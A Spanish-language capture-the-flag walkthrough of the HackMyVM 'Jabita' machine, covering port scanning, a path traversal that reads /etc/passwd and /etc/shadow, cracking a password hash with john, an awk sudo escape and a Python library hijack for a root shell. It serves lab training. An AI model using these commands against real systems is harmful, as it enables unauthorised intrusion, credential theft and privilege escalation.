Jabita


March 6, 20234 minutes

https://hackmyvm.eu/machines/machine.php?vm=Jabita

IP Atacante = 192.168.1.138

IP víctima = 192.168.1.141

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 192.168.1.141
PING 192.168.1.141 (192.168.1.141) 56(84) bytes of data.
64 bytes from 192.168.1.141: icmp_seq=1 ttl=64 time=0.257 ms

--- 192.168.1.141 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.257/0.257/0.257/0.000 ms

En este caso da un ttl (time to live) de 64, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 192.168.1.141 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 192.168.1.141
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

$ nmap -p21,22,80 -sC -sV 192.168.1.141 -oN versions

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 00b003d392f8a0f95a93207bf80aaada (ECDSA)
|_  256 ddb4261d0ce738c37a2f07bef8743ebc (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Web

Está corriendo una web por el puerto 80

Según el mensaje podemos intuir que como está en proceso de construcción no va a estar muy bien echa

Fuzzing subdirectorios

Vamos a buscar subdirectorios con gobuster con el diccionario /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.141

/building (Status: 301) [Size: 317] [--> http://192.168.1.141/building/]

Nos ha encontrado un subdirectorio

Al entrar si nos fijamos en la url vemos como hay un ‘?page=archivo’

En este caso lo que se puede probar es si es vulnerable a directory traversal

Efectivamente, es vulnerable, viendo el /etc/passwd podemos ver 2 usuarios

  • jaba
  • jack

Después de ir probando varias cosas he encontrado que podemos ver el archivo /etc/shadow

Rápidamente podemos ver que el hash de jack es un sha512 porque empieza por ‘$6$’, Nos lo copiamos y lo guardamos en un archivo en nuestra máquina llamado hash, después con john de ripper y el diccionario rockyou.txt vamos a intentar encontrar la contraseña

john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash

Ahora ya nos podemos conectar por ssh como jack

Escalada de privilegios

Jaba

Con un sudo -l vemos que podemos ejecutar awk como jaba

jack@jabita:~$ sudo -l
Matching Defaults entries for jack on jabita:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, listpw=never

User jack may run the following commands on jabita:
    (jaba : jaba) NOPASSWD: /usr/bin/awk

Haciendo una búsqueda por la web de gtfobins encontramos que con el siguiente comando podemos escalar privilegios

sudo -u jaba /usr/bin/awk 'BEGIN {system("/bin/bash")}'

Ya podemos ver la flag en /home/jaba/user.txt

Root

con sudo -l vemos que podemos ejecutar un archivo de python llamado clean.py

Matching Defaults entries for jaba on jabita:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, listpw=never

User jaba may run the following commands on jabita:
    (root) NOPASSWD: /usr/bin/python3 /usr/bin/clean.py

Con un cat a /usr/bin/clean.py vemos que el progrma importa una libreria llamada wild y ejecuta la funcion first de la libreria wild

jaba@jabita:~$ cat /usr/bin/clean.py
import wild

wild.first()

Para encontrar donde está el wild.py vamos a usar find

jaba@jabita:~$ find / -name wild.py 2>/dev/null
/usr/lib/python3.10/wild.py

Tenemos permisos de escritura

jaba@jabita:~$ ls -l /usr/lib/python3.10/wild.py
-rw-r--rw- 1 root root 42 Mar  6 17:28 /usr/lib/python3.10/wild.py

Vamos a modificarlo de tal forma que quede así

import os

def first():
   os.system("bash")

Importamos la libreria os, definimos la función first y dentro de la función first ponemos que ejecute bash, como estamos ejecutando el programa como root nos va a spawnear una bash como root

jaba@jabita:~$ sudo /usr/bin/python3 /usr/bin/clean.py
root@jabita:/home/jaba# id
uid=0(root) gid=0(root) groups=0(root)
root@jabita:/home/jaba# 

Ya somos root!

Podemos ver la flag en /root/root.txt